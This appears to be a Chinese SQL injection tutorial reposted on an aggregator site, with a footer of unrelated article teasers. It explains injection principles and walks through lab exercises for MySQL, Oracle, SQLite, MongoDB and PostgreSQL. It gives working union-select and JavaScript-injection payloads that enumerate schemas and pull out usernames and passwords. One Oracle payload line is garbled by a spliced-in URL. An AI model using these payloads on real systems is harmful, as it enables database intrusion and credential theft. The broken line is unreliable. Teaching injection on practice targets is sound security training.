Web攻防-SQL注入數據庫類型用戶權限架構分層符號干擾利用過程發現思路

知識點:
1、Web攻防-SQL注入-產生原理&應用因素
2、Web攻防-SQL注入-各類數據庫類型利用
在這里插入圖片描述

演示案例-WEB攻防-SQL注入-數據庫類型&架構分層&符號干擾

一、數據庫知識

1、數據庫名,表名,列名,數據

在這里插入圖片描述
在這里插入圖片描述

2、自帶數據庫,數據庫用戶及權限

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

在這里插入圖片描述

3、數據庫敏感函數,默認端口(3306、1521、1433、6379等)

在這里插入圖片描述

4、數據庫查詢方法(增刪改查)

在這里插入圖片描述

二、SQL注入產生原理

代碼中執行的SQL語句存在可控變量導致

在這里插入圖片描述

三、影響SQL注入的主要因素

1、數據庫類型(權限操作)

在這里插入圖片描述

2、數據操作方法(增刪改查)

在這里插入圖片描述

3、參數數據類型(符號干擾)

在這里插入圖片描述

4、參數數據格式(加密編碼等)

在這里插入圖片描述

5、提交數據方式(數據包部分)

GET注入、POST注入、HTTP頭注入

6、有無數據處理(無回顯邏輯等)

 延遲注入

四、常見SQL注入的利用過程

1、判斷數據庫類型
2、判斷參數類型及格式
3、判斷數據格式及提交
4、判斷數據回顯及防護
5、獲取數據庫名,表名,列名
6、獲取對應數據及嘗試其他利用

五、黑盒/白盒如何發現SQL注入

1、盲對所有參數進行測試
2、整合功能點腦補進行測試
白盒參考后期代碼審計課程

六、利用過程

獲取數據庫名->表名->列名->數據(一般是關鍵數據,如管理員)

演示案例-WEB攻防-SQL注入-數據庫類型&利用過程&發現思路

靶場

http://vulnweb.com/
https://mozhe.cn/Special/SQL_Injection

一、Access:已經基本淘汰 意義不大

二、Mssql

http://vulnweb.com/

三、Mysql

https://mozhe.cn/Special/SQL_Injection
在這里插入圖片描述
在這里插入圖片描述

參考文章:https://blog.csdn.net/weixin_57524749/article/details/140618103

1、查看當前頁面在數據庫里的字段數

order by 5

在這里插入圖片描述

2、獲取數據庫名

id=-1 union select 1,database(),3,4

在這里插入圖片描述

3、獲取表名

id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

4、獲取列名

id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

在這里插入圖片描述
在這里插入圖片描述

5、獲取相關數據

id=-1 union select 1,2,group_concat(id,name,password),4 from StormGroup_member

在這里插入圖片描述
在這里插入圖片描述

四、Oracle

參考文章:https://blog.csdn.net/A2893992091/article/details/141365829

and 1=2 union select (select distinct owner from all_tables where rownum=1),'2' from dual
and 1=2 union select (select table_name from user_tables where rownum=1),'2' from dual
and 1=2 union select (select table_name from user_tables whehttps://blog.csdn.net/qq_32393893/article/details/1030832401=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'2' from dual
and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'2' from dual
and 1=2 union select USER_NAME,USER_PWD from "sns_users"
and 1=2 union select USER_NAME,USER_PWD from "sns_users" where user_name not in ('hu')

五、SQLite

參考文章: https://blog.csdn.net/qq_32393893/article/details/103083240

union select 1,name,sql,4 from sqlite_master limit 0,1

在這里插入圖片描述

union select 1,name,password,4 from WSTMart_reg

在這里插入圖片描述

六、MongoDB

參考文章:https://blog.csdn.net/m0_75036923/article/details/141364038
在這里插入圖片描述

id=1'});return ({title:'1',content:'2

在這里插入圖片描述

'});return ({content:tojson(db.getCollectionNames()),title:'1

在這里插入圖片描述

'});return ({content:tojson(db.Authority_confidential.find()[0]),title:'

在這里插入圖片描述

七、PostgreSQL

參考文章:https://blog.csdn.net/2401_88387979/article/details/144275425

and 1=2 union select 'null',null,null,null
and 1=2 union select null,'null',null,null 
and 1=2 union select null,null,string_agg(datname,','),null from pg_database
and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'
and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/906648.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/906648.shtml
英文地址,請注明出處:http://en.pswp.cn/news/906648.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

手機合集(不定期更新)

一、華為手機: 1.華為手機自助維修的方法: https://blog.csdn.net/humors221/article/details/145946128 2.華為手機實用功能介紹: https://blog.csdn.net/humors221/article/details/132514011 3.華為手機清理大數據的方法:…

移動安全Android——ROOT檢測繞過

工具準備 Magisk GitHub - topjohnwu/Magisk: The Magic Mask for Android ZygisckNext GitHub - Dr-TSNG/ZygiskNext at v1.2.8 Shamiko Releases LSPosed/LSPosed.github.io 安卓ROOT教程 Magisk 安裝教程 - Magisk 中文網 問題 大多數手機在ROOT狀態下會出現APP閃…

Python高效網絡爬蟲開發指南

Python 網絡爬蟲入門與實戰 一、引言 隨著互聯網數據的爆炸性增長,獲取和分析這些數據變得越來越重要。網絡爬蟲作為數據采集的重要工具,在這其中扮演了不可或缺的角色。 二、環境搭建 首先我們需要安裝Python環境以及一些必要的庫: req…

wireshark: Display Filter Reference

https://www.wireshark.org/docs/dfref/// 這個里面的擴展功能還是很強大,可以幫著問題分析。支持大量的自定義化的字段讀取功能,支持很多的協議。 https://www.wireshark.org/docs/dfref///f/frame.html frame.time_delta Time delta from previous ca…

dify創建銀行客服系統例子

傳統的銀行客服系統,通常以會話管理的方式實現,配置繁瑣復雜,固定且不靈活。如: 智能體的出現,為實現銀行客服系統提供了想象空間,可以集知識庫和業務流程為一體實現靈活可控的智能客服系統,即能…

前端函數防抖(Debounce)完整講解 - 從原理、應用到完整實現

🌷 古之立大事者,不惟有超世之才,亦必有堅忍不拔之志 🎐 個人CSND主頁——Micro麥可樂的博客 🐥《Docker實操教程》專欄以最新的Centos版本為基礎進行Docker實操教程,入門到實戰 🌺《RabbitMQ》…

服務接口鑒權與內部認證:自定義注解與AOP實現的企業級實踐

本文深入解析企業級系統中接口安全管控的核心需求,提出基于Spring AOP與自定義注解的輕量級鑒權方案。通過解構注解元數據定義、切面攔截邏輯、上下文傳遞機制等關鍵技術環節,系統闡述零侵入式鑒權體系的構建路徑。結合金融支付網關、多租戶SaaS平臺、物…

26考研|高等代數:線性變換

前言 線性變換這一章節是考頻較高的一部分,此部分涉及考點較多,涉及的考題也較多,學習線性變換時,應該注意搭建線性變換與矩陣之間的聯系,掌握如何利用矩陣表示一個線性變換結構,同時介紹了最簡單的線性變…

電磁兼容(EMC)仿真(精編版)

寫在前面 本系列文章主要講解電磁兼容(EMC)仿真的相關知識,希望能幫助更多的同學認識和了解電磁兼容(EMC)仿真。 若有相關問題,歡迎評論溝通,共同進步。(*^▽^*) 隨著產品復雜性和密集度的提高以及設計周期的不斷縮短,在設計周期的后期解決電磁兼容性(EMC)問題變得…

解決:dpkg: error: dpkg frontend lock is locked by another process

1、等待其他進程完成 如果后臺有其他包管理操作(如自動更新、軟件安裝等),等待幾分鐘再重試。 可以通過以下命令查看是否有相關進程: ps aux | grep -E apt|apt-get|dpkg 2、強制終止占用鎖的進程 如果確認沒有其他包管理操作&…

LVGL(lv_textarea文本框控件)

文章目錄 一、lv_textarea 是什么?二、基本用法1. 創建 lv_textarea 對象2. 設置提示文字(占位符)3. 設置最大長度4. 設置密碼模式(顯示為\*號)5. 獲取和設置內容6. 配合虛擬鍵盤使用(常用于觸摸屏&#xf…

【Java高階面經:數據庫篇】18、分布式事務:如何在分庫分表中實現高性能與一致性?

一、分布式事務核心挑戰:分庫分表下的一致性困境 在分布式系統架構中,分庫分表通過將數據分散存儲提升了擴展性和性能,但卻打破了傳統單庫事務的邊界,使得分布式事務成為保障數據一致性的核心難題。其挑戰主要體現在以下三方面: 1.1 ACID特性的分布式撕裂 原子性(Atomi…

【云吶】房地產企業固定資產如何管理

房產類固定資產如辦公樓、門面房、宿舍樓、庫房等,價值高、使用年限長、權屬復雜、變更流程多,是企業最為關鍵的資產類型之一。管理房產類資產不僅要“看得到”,更要“管得住”。 房產資產管理應從權屬明確開始。固定資產管理系統支持房產資產…

oracle數據庫生成awr報告,排查數據庫服務器CPU100%,系統卡頓,慢sql,根據sqlid查詢關鍵信息,如會話SID,客戶端機器名

AWR報告簡介 AWR是Oracle 10g版本推出的特性,全稱叫做 Automatic Workload Repository 全自動負載信息庫 。Oracle啟動后,會有后臺進程定時采集并保存系統快照信息,也可以手工創建快照。AWR通過對比兩個時間點的快照信息,生成該時間段的AWR報告,幫助DBA或開發人員了解 Ora…

kafka吞吐量提升總結

前言 原本自以為閱讀了很久kafka的源碼,對于kafka的了解已經深入到一定程度了,后面在某大廠的面試中,面試官詢問我,如果需要提升kafka的性能,應該怎么做,我發現我能答上來的點非常的少,也暴露了…

鴻蒙 HarmonyOS NEXT 系統 Preference 首選項使用全解析

鴻蒙HarmonyOS系統Preference首選項使用全解析 大家好,我是威哥。在鴻蒙應用開發里,用戶偏好設置的管理是極為重要的一環。HarmonyOS為我們提供了Preference組件,它能讓我們輕松實現應用設置界面,對用戶首選項進行高效管理。接下…

xdc約束學習

對clk的約束 //約束clk為 125M Hz create_clock -period 8.000 -name gt_refclk1_p -waveform {0.000 4.000} [get_ports gt_refclk1_p] 偽時鐘路徑,用于兩個時鐘域之間數據的交互 單邊性(unateness)對于時序很重要,因為它指定的…

在 Ubuntu 虛擬機中實現 HTML 表單與 C 語言 HTTP 服務器交互

一、環境說明 系統:Ubuntu 虛擬機(已安裝基本開發工具,如 GCC)目標:通過 C 語言服務器托管 HTML 表單頁面,并實現數據提交交互 二、核心文件準備 1. 創建 HTML 表單頁面(xunfei.html&#xf…

LVS 負載均衡集群應用實戰

前提:三臺虛擬機,有nginx,要做負載 1. LVS-server 安裝lvs管理軟件 [root@lvs-server ~]# yum -y install ipvsadm 程序包:ipvsadm(LVS管理工具) 主程序:/usr/sbin/ipvsadm 規則保存工具:/usr/sbin/ipvsadm-save > /path/to/file 配置文件:/etc/sysconfig/ipvsad…

鴻蒙進階——Framework之Want 隱式匹配機制概述

文章大綱 引言一、Want概述二、Want的類型1、顯式Want2、隱式Want3、隱式Want的匹配 三、隱式啟動Want 源碼概述1、有且僅有一個Ability匹配2、有多個Ability 匹配需要彈出選擇對話框3、ImplicitStartProcessor::ImplicitStartAbility3.1、GenerateAbilityRequestByAction3.1.1…